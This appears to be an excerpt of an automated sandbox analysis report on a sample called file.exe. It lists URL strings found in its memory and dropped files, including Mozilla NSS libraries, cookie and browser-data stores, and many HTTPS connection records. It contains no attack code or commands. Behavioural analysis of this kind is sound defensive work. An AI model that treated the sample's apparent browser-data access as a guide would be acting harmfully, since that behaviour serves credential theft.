Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: GCGHCBKFCFBFHIDHDBFC.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log3.9.dr, 000003.log5.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log3.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log3.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376359663340626.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2745469454.0000000023153000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKFCFBFHIDHDBFC.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2444192008.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2444192008.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, DAFCAAEG.0.dr, Web Data.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 933c8d3d-799f-45d5-928b-10674160d8b8.tmp.11.dr	String found in binary or memory: https://www.googleapis.com
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://www.mozilla.org
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2745469454.0000000023153000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKFCFBFHIDHDBFC.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
